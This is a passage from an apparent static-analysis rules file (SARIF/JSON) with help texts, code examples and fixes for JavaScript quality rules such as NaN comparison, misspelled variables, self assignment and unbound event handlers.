strings](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Long_literal_strings).\n","markdown":"# Missing space in string concatenation\nSplitting a long string literal over multiple lines can often aid readability, but this also makes it difficult to notice whether a space is missing where the strings are concatenated.\n\n\n## Recommendation\nCheck the string literal to see whether it has the intended text. In particular, look for missing spaces near line breaks.\n\n\n## Example\nThe following example shows a text literal that is split over two lines and omits a space character between the two words at the line break.\n\n\n```javascript\nvar s = \"This text is\" +\n  \"missing a space.\";\n```\n\n## References\n* Mozilla Developer Network: [Strings: Long literal strings](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Long_literal_strings).\n"},"properties":{"tags":["quality","maintainability","readability"],"description":"Joining constant strings into a longer string where\n              two words are concatenated without a separating space\n              usually indicates a text error.","id":"js/missing-space-in-concatenation","kind":"problem","name":"Missing space in string concatenation","precision":"very-high","problem.severity":"warning"}},{"id":"js/unbound-event-handler-receiver","name":"js/unbound-event-handler-receiver","shortDescription":{"text":"Unbound event handler receiver"},"fullDescription":{"text":"Invoking an event handler method as a function can cause a runtime error."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Unbound event handler receiver\nEvent handler callbacks are usually invoked as functions, not as methods. This means that the `this` expressions of such callbacks evaluate to `undefined` or the global object. Using an ES6 class method as a callback therefore means that the `this` expressions of the method do not refer to the class instance.\n\n\n## Recommendation\nEnsure that the receiver object of event handler methods that use `this` expressions is not `undefined`. For instance, you can use `bind` or explicitly invoke the method as a method call.\n\n\n## Example\nThe following example, for the React framework, registers the `handleClick` method as an event handler for the `click` event:\n\n\n```javascript\nclass Toggle extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {isToggleOn: true};\n  }\n\n  handleClick() {\n    this.setState(prevState => ({\n      isToggleOn: !prevState.isToggleOn\n    }));\n  }\n\n  render() {\n    return (\n      <button onClick={this.handleClick}> // BAD `this` is now undefined in `handleClick`\n        {this.state.isToggleOn ? 'ON' : 'OFF'}\n      </button>\n    );\n  }\n}\n\n```\nThis is problematic since this invokes `handleClick` as a function call instead of a method call, meaning that `this` is `undefined` inside `handleClick`.\n\nInstead, bind the receiver of `handleClick` in the constructor:\n\n\n```javascript\nclass Toggle extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {isToggleOn: true};\n\n    // This binding is necessary to make `this` work in the callback\n    this.handleClick = this.handleClick.bind(this);\n  }\n\n  handleClick() {\n    this.setState(prevState => ({\n      isToggleOn: !prevState.isToggleOn\n    }));\n  }\n\n  render() {\n    return (\n      <button onClick={this.handleClick}> // GOOD, the constructor binds `handleClick`\n        {this.state.isToggleOn ? 'ON' : 'OFF'}\n      </button>\n    );\n  }\n}\n\n```\n\n## References\n* React Quick Start: [Handling Events](https://reactjs.org/docs/handling-events.html).\n","markdown":"# Unbound event handler receiver\nEvent handler callbacks are usually invoked as functions, not as methods. This means that the `this` expressions of such callbacks evaluate to `undefined` or the global object. Using an ES6 class method as a callback therefore means that the `this` expressions of the method do not refer to the class instance.\n\n\n## Recommendation\nEnsure that the receiver object of event handler methods that use `this` expressions is not `undefined`. For instance, you can use `bind` or explicitly invoke the method as a method call.\n\n\n## Example\nThe following example, for the React framework, registers the `handleClick` method as an event handler for the `click` event:\n\n\n```javascript\nclass Toggle extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {isToggleOn: true};\n  }\n\n  handleClick() {\n    this.setState(prevState => ({\n      isToggleOn: !prevState.isToggleOn\n    }));\n  }\n\n  render() {\n    return (\n      <button onClick={this.handleClick}> // BAD `this` is now undefined in `handleClick`\n        {this.state.isToggleOn ? 'ON' : 'OFF'}\n      </button>\n    );\n  }\n}\n\n```\nThis is problematic since this invokes `handleClick` as a function call instead of a method call, meaning that `this` is `undefined` inside `handleClick`.\n\nInstead, bind the receiver of `handleClick` in the constructor:\n\n\n```javascript\nclass Toggle extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {isToggleOn: true};\n\n    // This binding is necessary to make `this` work in the callback\n    this.handleClick = this.handleClick.bind(this);\n  }\n\n  handleClick() {\n    this.setState(prevState => ({\n      isToggleOn: !prevState.isToggleOn\n    }));\n  }\n\n  render() {\n    return (\n      <button onClick={this.handleClick}> // GOOD, the constructor binds `handleClick`\n        {this.state.isToggleOn ? 'ON' : 'OFF'}\n      </button>\n    );\n  }\n}\n\n```\n\n## References\n* React Quick Start: [Handling Events](https://reactjs.org/docs/handling-events.html).\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"Invoking an event handler method as a function can cause a runtime error.","id":"js/unbound-event-handler-receiver","kind":"problem","name":"Unbound event handler receiver","precision":"high","problem.severity":"error"}},{"id":"js/misspelled-variable-name","name":"js/misspelled-variable-name","shortDescription":{"text":"Misspelled variable name"},"fullDescription":{"text":"Misspelling a variable name implicitly introduces a global variable, which may not lead to a runtime error, but is likely to give wrong results."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Misspelled variable name\nIf a reference to a local variable is accidentally misspelled, it will be interpreted as a reference to an implicitly declared global variable, which may indicate a bug. Even if this is intentional, it should be avoided as it makes the code hard to read.\n\n\n## Recommendation\nCorrect the misspelling.\n\n\n## Example\nThe following code snippet attempts to loop over an array `ids` in order to update DOM nodes referenced by the elements of the array. Note, however, that the upper bound of the loop is specified as `lenght`, a typo for the local variable `length`. At runtime, `lenght` will evaluate to `undefined`, so the check `i < lenght` will always fail, and the loop body is never executed.\n\n\n```javascript\nfunction selectElements(ids) {\n    for (var i=0, length=ids.length; i<lenght; ++i) {\n        var id = ids[i];\n        if (id) {\n            var element = document.getElementById(id);\n            element.className += \" selected\";\n        }\n    }\n}\n\n```\nThe misspelling should be corrected by replacing `lenght` with `length`.\n\n\n## References\n* D. Crockford: *JavaScript: The Good Parts*, Appendix A: Awful Parts, Global Variables. O'Reilly, 2008.\n","markdown":"# Misspelled variable name\nIf a reference to a local variable is accidentally misspelled, it will be interpreted as a reference to an implicitly declared global variable, which may indicate a bug. Even if this is intentional, it should be avoided as it makes the code hard to read.\n\n\n## Recommendation\nCorrect the misspelling.\n\n\n## Example\nThe following code snippet attempts to loop over an array `ids` in order to update DOM nodes referenced by the elements of the array. Note, however, that the upper bound of the loop is specified as `lenght`, a typo for the local variable `length`. At runtime, `lenght` will evaluate to `undefined`, so the check `i < lenght` will always fail, and the loop body is never executed.\n\n\n```javascript\nfunction selectElements(ids) {\n    for (var i=0, length=ids.length; i<lenght; ++i) {\n        var id = ids[i];\n        if (id) {\n            var element = document.getElementById(id);\n            element.className += \" selected\";\n        }\n    }\n}\n\n```\nThe misspelling should be corrected by replacing `lenght` with `length`.\n\n\n## References\n* D. Crockford: *JavaScript: The Good Parts*, Appendix A: Awful Parts, Global Variables. O'Reilly, 2008.\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"Misspelling a variable name implicitly introduces a global\n              variable, which may not lead to a runtime error, but is\n              likely to give wrong results.","id":"js/misspelled-variable-name","kind":"problem","name":"Misspelled variable name","precision":"very-high","problem.severity":"warning"}},{"id":"js/useless-expression","name":"js/useless-expression","shortDescription":{"text":"Expression has no effect"},"fullDescription":{"text":"An expression that has no effect and is used in a void context is most likely redundant and may indicate a bug."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Expression has no effect\nAn expression that has no effects (such as changing variable values or producing output) and occurs in a context where its value is ignored possibly indicates missing code or a latent bug.\n\n\n## Recommendation\nCarefully inspect the expression to ensure it is not a symptom of a bug. To document that the value of an expression is deliberately ignored, wrap it into a `void` expression.\n\n\n## Example\nThe following code snippet accesses the `selectedIndex` property of a DOM node to trigger additional processing in certain versions of Safari. This, however, is not clear from the code itself, which looks like a property read whose value is discarded immediately.\n\n\n```javascript\nelem.parentNode.selectedIndex;\n\n```\nTo document the fact that the property read has a hidden side effect and its value is deliberately ignored, it should be wrapped into a `void` expression like this:\n\n\n```javascript\nvoid(elem.parentNode.selectedIndex);\n\n```\nA common source of warnings are constructor functions that \"declare\" a property of the newly constructed object without initializing it, by simply referring to it in an expression statement like this:\n\n\n```javascript\nfunction Graph(nodes, edges) {\n  this.nodes = nodes;\n  this.edges = edges;\n  // cache minimum distance between pairs of nodes\n  this.distance;\n}\n```\nSemantically, this is unnecessary, since the property will be created upon first assignment. If the aim is to document the existence of the property, it would be better to explicitly assign it an initial value, which also serves to document its expected type:\n\n\n```javascript\nfunction Graph(nodes, edges) {\n  this.nodes = nodes;\n  this.edges = edges;\n  // cache minimum distance between pairs of nodes\n  this.distance = {};\n}\n```\n","markdown":"# Expression has no effect\nAn expression that has no effects (such as changing variable values or producing output) and occurs in a context where its value is ignored possibly indicates missing code or a latent bug.\n\n\n## Recommendation\nCarefully inspect the expression to ensure it is not a symptom of a bug. To document that the value of an expression is deliberately ignored, wrap it into a `void` expression.\n\n\n## Example\nThe following code snippet accesses the `selectedIndex` property of a DOM node to trigger additional processing in certain versions of Safari. This, however, is not clear from the code itself, which looks like a property read whose value is discarded immediately.\n\n\n```javascript\nelem.parentNode.selectedIndex;\n\n```\nTo document the fact that the property read has a hidden side effect and its value is deliberately ignored, it should be wrapped into a `void` expression like this:\n\n\n```javascript\nvoid(elem.parentNode.selectedIndex);\n\n```\nA common source of warnings are constructor functions that \"declare\" a property of the newly constructed object without initializing it, by simply referring to it in an expression statement like this:\n\n\n```javascript\nfunction Graph(nodes, edges) {\n  this.nodes = nodes;\n  this.edges = edges;\n  // cache minimum distance between pairs of nodes\n  this.distance;\n}\n```\nSemantically, this is unnecessary, since the property will be created upon first assignment. If the aim is to document the existence of the property, it would be better to explicitly assign it an initial value, which also serves to document its expected type:\n\n\n```javascript\nfunction Graph(nodes, edges) {\n  this.nodes = nodes;\n  this.edges = edges;\n  // cache minimum distance between pairs of nodes\n  this.distance = {};\n}\n```\n"},"properties":{"tags":["quality","maintainability","useless-code","external/cwe/cwe-480","external/cwe/cwe-561"],"description":"An expression that has no effect and is used in a void context is most\n              likely redundant and may indicate a bug.","id":"js/useless-expression","kind":"problem","name":"Expression has no effect","precision":"very-high","problem.severity":"warning"}},{"id":"js/comparison-with-nan","name":"js/comparison-with-nan","shortDescription":{"text":"Comparison with NaN"},"fullDescription":{"text":"Arithmetic comparisons with NaN are useless: nothing is considered to be equal to NaN, not even NaN itself, and similarly nothing is considered greater or less than NaN."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Comparison with NaN\nArithmetic comparisons with the special not-a-number value `NaN` are useless: nothing is considered to be equal to `NaN`, not even `NaN` itself, and similarly nothing is considered greater or less than `NaN`.\n\n\n## Recommendation\nUse the `isNaN` function from the standard library to determine whether a given value is `NaN`.\n\n\n## Example\nInstead of `x === NaN`, use `isNaN(x)`.\n\n\n## References\n* Arvind Kumar: [Javascript common mistake of comparing with NaN and not with isNaN](http://www.devarticles.in/javascript/javascript-common-mistake-of-comparing-variable-with-nan-and-not-with-isnan/).\n* Mozilla Developer Network: [NaN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN).\n* Common Weakness Enumeration: [CWE-570](https://cwe.mitre.org/data/definitions/570.html).\n* Common Weakness Enumeration: [CWE-571](https://cwe.mitre.org/data/definitions/571.html).\n","markdown":"# Comparison with NaN\nArithmetic comparisons with the special not-a-number value `NaN` are useless: nothing is considered to be equal to `NaN`, not even `NaN` itself, and similarly nothing is considered greater or less than `NaN`.\n\n\n## Recommendation\nUse the `isNaN` function from the standard library to determine whether a given value is `NaN`.\n\n\n## Example\nInstead of `x === NaN`, use `isNaN(x)`.\n\n\n## References\n* Arvind Kumar: [Javascript common mistake of comparing with NaN and not with isNaN](http://www.devarticles.in/javascript/javascript-common-mistake-of-comparing-variable-with-nan-and-not-with-isnan/).\n* Mozilla Developer Network: [NaN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN).\n* Common Weakness Enumeration: [CWE-570](https://cwe.mitre.org/data/definitions/570.html).\n* Common Weakness Enumeration: [CWE-571](https://cwe.mitre.org/data/definitions/571.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-570","external/cwe/cwe-571"],"description":"Arithmetic comparisons with NaN are useless: nothing is considered to be equal to NaN, not even NaN itself,\n              and similarly nothing is considered greater or less than NaN.","id":"js/comparison-with-nan","kind":"problem","name":"Comparison with NaN","precision":"very-high","problem.severity":"error"}},{"id":"js/comparison-between-incompatible-types","name":"js/comparison-between-incompatible-types","shortDescription":{"text":"Comparison between inconvertible types"},"fullDescription":{"text":"An equality comparison between two values that cannot be meaningfully converted to the same type will always yield 'false', and an inequality comparison will always yield 'true'."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Comparison between inconvertible types\nIn JavaScript, equality operators (`==`, `!=`, `===`, `!==`) and relational operators (`<`, `<=`, `>`, `>=`) can be applied to values of arbitrary types. However, if the operands cannot be converted to a common type, the result of the comparison will always be trivially true (for equality) or false (for inequality). Such comparisons are often due to a typo or a misunderstanding of the language semantics.\n\n\n## Recommendation\nInspect the comparison carefully to check whether it is due to a typo. If one of the operands is a constant, replace it with a constant of the right type. Otherwise, introduce appropriate function calls to convert the operands to a common type.\n\n\n## Example\nThe following code attempts to check whether the global variable `window` is defined:\n\n\n```javascript\nif (typeof window !== undefined)\n\tconsole.log(\"Running in a browser.\");\n```\nHowever, this test is ineffective: `typeof` always returns a string, never `undefined`, so the `if` condition will always evaluate to `true`. Instead, the result of `typeof` should be compared to the string literal `\"undefined\"`:\n\n\n```javascript\nif (typeof window !== \"undefined\")\n\tconsole.log(\"Running in a browser.\");\n```\nAs another example, consider the following code snippet, which is meant to check whether the string `\"hello\"` occurs in the string held in variable `text`.\n\n\n```javascript\nif (text.indexOf(\"hello\" >= 0))\n\tconsole.log(\"Found it.\");\n```\nNote, however, that the test has been mistyped: the closing parenthesis of the call to `index` should come before the operator `>=`, not after it. As it stands, this code performs a greater-or-equal comparison between the constant string `\"hello\"` and the number zero, which evaluates to `false`. This value is then passed to `indexOf`, which converts it to the string `\"false\"` and returns the first index at which this string occurs in `text` (or `-1` if it does not occur at all).\n\nTo fix this issue, the test should be rebracketed like this:\n\n\n```javascript\nif (text.indexOf(\"hello\") >= 0)\n\tconsole.log(\"Found it.\");\n```\n\n## References\n* Mozilla Developer Network: [Comparison Operators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators).\n* Mozilla Developer Network: [Equality comparisons and when to use them](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_when_to_use_them).\n* Common Weakness Enumeration: [CWE-570](https://cwe.mitre.org/data/definitions/570.html).\n* Common Weakness Enumeration: [CWE-571](https://cwe.mitre.org/data/definitions/571.html).\n","markdown":"# Comparison between inconvertible types\nIn JavaScript, equality operators (`==`, `!=`, `===`, `!==`) and relational operators (`<`, `<=`, `>`, `>=`) can be applied to values of arbitrary types. However, if the operands cannot be converted to a common type, the result of the comparison will always be trivially true (for equality) or false (for inequality). Such comparisons are often due to a typo or a misunderstanding of the language semantics.\n\n\n## Recommendation\nInspect the comparison carefully to check whether it is due to a typo. If one of the operands is a constant, replace it with a constant of the right type. Otherwise, introduce appropriate function calls to convert the operands to a common type.\n\n\n## Example\nThe following code attempts to check whether the global variable `window` is defined:\n\n\n```javascript\nif (typeof window !== undefined)\n\tconsole.log(\"Running in a browser.\");\n```\nHowever, this test is ineffective: `typeof` always returns a string, never `undefined`, so the `if` condition will always evaluate to `true`. Instead, the result of `typeof` should be compared to the string literal `\"undefined\"`:\n\n\n```javascript\nif (typeof window !== \"undefined\")\n\tconsole.log(\"Running in a browser.\");\n```\nAs another example, consider the following code snippet, which is meant to check whether the string `\"hello\"` occurs in the string held in variable `text`.\n\n\n```javascript\nif (text.indexOf(\"hello\" >= 0))\n\tconsole.log(\"Found it.\");\n```\nNote, however, that the test has been mistyped: the closing parenthesis of the call to `index` should come before the operator `>=`, not after it. As it stands, this code performs a greater-or-equal comparison between the constant string `\"hello\"` and the number zero, which evaluates to `false`. This value is then passed to `indexOf`, which converts it to the string `\"false\"` and returns the first index at which this string occurs in `text` (or `-1` if it does not occur at all).\n\nTo fix this issue, the test should be rebracketed like this:\n\n\n```javascript\nif (text.indexOf(\"hello\") >= 0)\n\tconsole.log(\"Found it.\");\n```\n\n## References\n* Mozilla Developer Network: [Comparison Operators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators).\n* Mozilla Developer Network: [Equality comparisons and when to use them](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_when_to_use_them).\n* Common Weakness Enumeration: [CWE-570](https://cwe.mitre.org/data/definitions/570.html).\n* Common Weakness Enumeration: [CWE-571](https://cwe.mitre.org/data/definitions/571.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-570","external/cwe/cwe-571"],"description":"An equality comparison between two values that cannot be meaningfully converted to\n              the same type will always yield 'false', and an inequality comparison will always\n              yield 'true'.","id":"js/comparison-between-incompatible-types","kind":"problem","name":"Comparison between inconvertible types","precision":"high","problem.severity":"warning"}},{"id":"js/unneeded-defensive-code","name":"js/unneeded-defensive-code","shortDescription":{"text":"Unneeded defensive code"},"fullDescription":{"text":"Defensive code that guards against a situation that never happens is not needed."},"defaultConfiguration":{"enabled":true,"level":"note"},"help":{"text":"# Unneeded defensive code\nDefensive code can prevent unforeseen circumstances from causing fatal program behaviors. A common defensive code pattern is to guard against dereferencing the values `null` or `undefined`. However, if the situation that some defensive code guards against never can occur, then the defensive code serves no purpose and can safely be removed.\n\n\n## Recommendation\nExamine the surrounding code to determine if the defensive code is worth keeping despite providing no practical use. If it is no longer needed, remove it.\n\n\n## Example\nThe following example shows a `cleanupLater` function that asynchronously will perform a cleanup task after some delay. When the cleanup task completes, the function invokes the provided callback parameter `cb`. To prevent a crash by invoking `cb` when it has the value `undefined`, defensive code guards the invocation by checking if `cb` is truthy.\n\n\n```javascript\nfunction cleanupLater(delay, cb) {\n    setTimeout(function() {\n        cleanup();\n        if (cb) { // BAD: useless check, `cb` is always truthy\n            cb();\n        }\n    }, delay)\n}\n\ncleanupLater(1000, function(){console.log(\"Cleanup done\")});\n\n```\nHowever, the `cleanupLater` function is always invoked with a callback argument, so the defensive code condition always holds, and it is therefore not required. The function can therefore be simplified to:\n\n\n```javascript\nfunction cleanupLater(delay, cb) {\n    setTimeout(function() {\n        cleanupNow();\n        // GOOD: no need to guard the invocation\n        cb();\n    }, delay)\n}\n\ncleanupLater(function(){console.log(\"Cleanup done\")});\n\n```\nGuarding against the same situation multiple times is another example of defensive code that provides no practical use. The example below shows a function that assigns a value to a property of an object, where defensive code ensures that the assigned value is not `undefined` or `null`.\n\n\n```javascript\nfunction setSafeStringProp(o, prop, v) {\n    // BAD: `v == null` is useless\n    var safe = v == undefined || v == null? '': v;\n    o[prop] = safe;\n}\n\n```\nHowever, due to coercion rules, `v == undefined` holds for both the situation where `v` is`undefined` and the situation where `v` is`null`, so the `v == null` guard serves no purpose, and can be removed:\n\n\n```javascript\nfunction setSafeStringProp(o, prop, v) {\n    // GOOD: `v == undefined` handles both `undefined` and `null`\n    var safe = v == undefined? '': v;\n    o[prop] = safe;\n}\n\n```\n\n## References\n* Wikipedia: [Defensive programming](https://en.wikipedia.org/wiki/Defensive_programming).\n* Common Weakness Enumeration: [CWE-570](https://cwe.mitre.org/data/definitions/570.html).\n* Common Weakness Enumeration: [CWE-571](https://cwe.mitre.org/data/definitions/571.html).\n","markdown":"# Unneeded defensive code\nDefensive code can prevent unforeseen circumstances from causing fatal program behaviors. A common defensive code pattern is to guard against dereferencing the values `null` or `undefined`. However, if the situation that some defensive code guards against never can occur, then the defensive code serves no purpose and can safely be removed.\n\n\n## Recommendation\nExamine the surrounding code to determine if the defensive code is worth keeping despite providing no practical use. If it is no longer needed, remove it.\n\n\n## Example\nThe following example shows a `cleanupLater` function that asynchronously will perform a cleanup task after some delay. When the cleanup task completes, the function invokes the provided callback parameter `cb`. To prevent a crash by invoking `cb` when it has the value `undefined`, defensive code guards the invocation by checking if `cb` is truthy.\n\n\n```javascript\nfunction cleanupLater(delay, cb) {\n    setTimeout(function() {\n        cleanup();\n        if (cb) { // BAD: useless check, `cb` is always truthy\n            cb();\n        }\n    }, delay)\n}\n\ncleanupLater(1000, function(){console.log(\"Cleanup done\")});\n\n```\nHowever, the `cleanupLater` function is always invoked with a callback argument, so the defensive code condition always holds, and it is therefore not required. The function can therefore be simplified to:\n\n\n```javascript\nfunction cleanupLater(delay, cb) {\n    setTimeout(function() {\n        cleanupNow();\n        // GOOD: no need to guard the invocation\n        cb();\n    }, delay)\n}\n\ncleanupLater(function(){console.log(\"Cleanup done\")});\n\n```\nGuarding against the same situation multiple times is another example of defensive code that provides no practical use. The example below shows a function that assigns a value to a property of an object, where defensive code ensures that the assigned value is not `undefined` or `null`.\n\n\n```javascript\nfunction setSafeStringProp(o, prop, v) {\n    // BAD: `v == null` is useless\n    var safe = v == undefined || v == null? '': v;\n    o[prop] = safe;\n}\n\n```\nHowever, due to coercion rules, `v == undefined` holds for both the situation where `v` is`undefined` and the situation where `v` is`null`, so the `v == null` guard serves no purpose, and can be removed:\n\n\n```javascript\nfunction setSafeStringProp(o, prop, v) {\n    // GOOD: `v == undefined` handles both `undefined` and `null`\n    var safe = v == undefined? '': v;\n    o[prop] = safe;\n}\n\n```\n\n## References\n* Wikipedia: [Defensive programming](https://en.wikipedia.org/wiki/Defensive_programming).\n* Common Weakness Enumeration: [CWE-570](https://cwe.mitre.org/data/definitions/570.html).\n* Common Weakness Enumeration: [CWE-571](https://cwe.mitre.org/data/definitions/571.html).\n"},"properties":{"tags":["quality","maintainability","useless-code","external/cwe/cwe-570","external/cwe/cwe-571"],"description":"Defensive code that guards against a situation that never happens is not needed.","id":"js/unneeded-defensive-code","kind":"problem","name":"Unneeded defensive code","precision":"very-high","problem.severity":"recommendation"}},{"id":"js/implicit-operand-conversion","name":"js/implicit-operand-conversion","shortDescription":{"text":"Implicit operand conversion"},"fullDescription":{"text":"Relying on implicit conversion of operands is error-prone and makes code hard to read."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Implicit operand conversion\nIn JavaScript, most operators can be applied to operands of arbitrary types; at runtime, the operands will be implicitly converted to the appropriate type. For instance, the expression `p in obj` checks whether the object `obj` contains a property whose name equals the string that `p` evaluates to. If `p` does not evaluate to a string or `o` does not evaluate to an object, implicit conversions are performed before the check is carried out.\n\nIn many cases, however, these implicit conversions result from a typo or a misunderstanding of operator precedence rules. Even if the conversions are intentional, relying on them makes the code hard to understand.\n\n\n## Recommendation\nInspect the expression carefully to check whether the operands have been mistyped, and correct them if this is the case. If the conversions are intentional, consider replacing them by explicit conversions to clarify the meaning of the code.\n\n\n## Example\nThe following code intends to check whether object `obj` does not contain a property of the name stored in variable `member`:\n\n\n```javascript\nfunction invk(obj, member) {\n    if (!member in obj)\n        throw new Error(\"No such member: \" + member);\n    return obj[member]();\n}\n```\nHowever, this test is ineffective as written: the operator `!` binds more tightly than `in`, so it is applied first. Applying `!` to a non-empty string yields `false`, so the `in` operator actually ends up checking whether `obj` contains a property called `\"false\"`.\n\nTo fix this, parentheses should be introduced as follows:\n\n\n```javascript\nfunction invk(obj, member) {\n    if (!(member in obj))\n        throw new Error(\"No such member: \" + member);\n    return obj[member]();\n}\n```\nAs an example of the intentional use of implicit conversions, consider the following function for comparing two numbers `x` and `y`. It returns `1` if `x>y`, `-1` if `x<y`, and `0` if they are equal.\n\n\n```javascript\nfunction cmp(x, y) {\n    return (x > y) - (x < y);\n}\n```\nIt would be much clearer to write this out directly:\n\n\n```javascript\nfunction cmp(x, y) {\n    if (x > y)\n        return 1;\n    if (x < y)\n        return -1;\n    return 0;\n}\n```\nAt the very least, the Boolean comparison results should be explicitly converted to numbers:\n\n\n```javascript\nfunction cmp(x, y) {\n    return +(x > y) - +(x < y);\n}\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 9. ECMA, 2011.\n* Common Weakness Enumeration: [CWE-704](https://cwe.mitre.org/data/definitions/704.html).\n","markdown":"# Implicit operand conversion\nIn JavaScript, most operators can be applied to operands of arbitrary types; at runtime, the operands will be implicitly converted to the appropriate type. For instance, the expression `p in obj` checks whether the object `obj` contains a property whose name equals the string that `p` evaluates to. If `p` does not evaluate to a string or `o` does not evaluate to an object, implicit conversions are performed before the check is carried out.\n\nIn many cases, however, these implicit conversions result from a typo or a misunderstanding of operator precedence rules. Even if the conversions are intentional, relying on them makes the code hard to understand.\n\n\n## Recommendation\nInspect the expression carefully to check whether the operands have been mistyped, and correct them if this is the case. If the conversions are intentional, consider replacing them by explicit conversions to clarify the meaning of the code.\n\n\n## Example\nThe following code intends to check whether object `obj` does not contain a property of the name stored in variable `member`:\n\n\n```javascript\nfunction invk(obj, member) {\n    if (!member in obj)\n        throw new Error(\"No such member: \" + member);\n    return obj[member]();\n}\n```\nHowever, this test is ineffective as written: the operator `!` binds more tightly than `in`, so it is applied first. Applying `!` to a non-empty string yields `false`, so the `in` operator actually ends up checking whether `obj` contains a property called `\"false\"`.\n\nTo fix this, parentheses should be introduced as follows:\n\n\n```javascript\nfunction invk(obj, member) {\n    if (!(member in obj))\n        throw new Error(\"No such member: \" + member);\n    return obj[member]();\n}\n```\nAs an example of the intentional use of implicit conversions, consider the following function for comparing two numbers `x` and `y`. It returns `1` if `x>y`, `-1` if `x<y`, and `0` if they are equal.\n\n\n```javascript\nfunction cmp(x, y) {\n    return (x > y) - (x < y);\n}\n```\nIt would be much clearer to write this out directly:\n\n\n```javascript\nfunction cmp(x, y) {\n    if (x > y)\n        return 1;\n    if (x < y)\n        return -1;\n    return 0;\n}\n```\nAt the very least, the Boolean comparison results should be explicitly converted to numbers:\n\n\n```javascript\nfunction cmp(x, y) {\n    return +(x > y) - +(x < y);\n}\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 9. ECMA, 2011.\n* Common Weakness Enumeration: [CWE-704](https://cwe.mitre.org/data/definitions/704.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-704"],"description":"Relying on implicit conversion of operands is error-prone and makes code\n              hard to read.","id":"js/implicit-operand-conversion","kind":"problem","name":"Implicit operand conversion","precision":"very-high","problem.severity":"warning"}},{"id":"js/unknown-directive","name":"js/unknown-directive","shortDescription":{"text":"Unknown directive"},"fullDescription":{"text":"An unknown directive has no effect and may indicate a misspelling."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Unknown directive\nIf a directive is accidentally misspelled, it will have no effect.\n\n\n## Recommendation\nCorrect the misspelling.\n\n\n## Example\nThe following code snippet shows a function that contains a `\"usestrict\"` directive. Most likely, the programmer intended this to be a `\"use strict\"` directive, but due to the typo, the function will not execute in strict mode.\n\n\n```javascript\nfunction f() {\n    \"usestrict\";\n    ...\n}\n\n```\nCorrect the misspelling by replacing `\"usestrict\"` with `\"use strict\"`.\n\n\n## References\n* Mozilla Developer Network: [\"use strict\"](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode)\n* asm.js: [\"use asm\"](http://asmjs.org/spec/latest/#validation)\n","markdown":"# Unknown directive\nIf a directive is accidentally misspelled, it will have no effect.\n\n\n## Recommendation\nCorrect the misspelling.\n\n\n## Example\nThe following code snippet shows a function that contains a `\"usestrict\"` directive. Most likely, the programmer intended this to be a `\"use strict\"` directive, but due to the typo, the function will not execute in strict mode.\n\n\n```javascript\nfunction f() {\n    \"usestrict\";\n    ...\n}\n\n```\nCorrect the misspelling by replacing `\"usestrict\"` with `\"use strict\"`.\n\n\n## References\n* Mozilla Developer Network: [\"use strict\"](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode)\n* asm.js: [\"use asm\"](http://asmjs.org/spec/latest/#validation)\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"An unknown directive has no effect and may indicate a misspelling.","id":"js/unknown-directive","kind":"problem","name":"Unknown directive","precision":"high","problem.severity":"warning"}},{"id":"js/redundant-assignment","name":"js/redundant-assignment","shortDescription":{"text":"Self assignment"},"fullDescription":{"text":"Assigning a variable to itself has no effect."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Self assignment\nAssigning a variable to itself typically indicates a mistake such as a missing `this` qualifier or a misspelled variable name.\n\n\n## Recommendation\nCarefully inspect the assignment to check for misspellings or missing qualifiers.\n\nIf the self-assignment is intentional and is needed for documentation or optimization purposes, add a JSDoc comment with a `@type` tag. This will indicate the self-assignment is intentional.\n\n\n## Example\nIn the example below, the constructor function `Rectangle` is intended to initialize properties `x`, `y`, `width`, and `height` to the parameters of the same names.\n\n\n```javascript\nfunction Rectangle(x, y, width, height) {\n\tthis.x = x;\n\tthis.y = y;\n\twidth = width;\n\tthis.height = height;\n}\n\n```\nNote, however, that on line 4 the programmer forgot to qualify the left hand side of the assignment with `this`: the code now performs a useless assignment of the `width` parameter to itself and leaves the `width` property uninitialized.\n\nTo fix this issue, insert a `this` qualifier:\n\n\n```javascript\nfunction Rectangle(x, y, width, height) {\n\tthis.x = x;\n\tthis.y = y;\n\tthis.width = width;\n\tthis.height = height;\n}\n\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 11.13. ECMA, 2011.\n* Common Weakness Enumeration: [CWE-480](https://cwe.mitre.org/data/definitions/480.html).\n* Common Weakness Enumeration: [CWE-561](https://cwe.mitre.org/data/definitions/561.html).\n","markdown":"# Self assignment\nAssigning a variable to itself typically indicates a mistake such as a missing `this` qualifier or a misspelled variable name.\n\n\n## Recommendation\nCarefully inspect the assignment to check for misspellings or missing qualifiers.\n\nIf the self-assignment is intentional and is 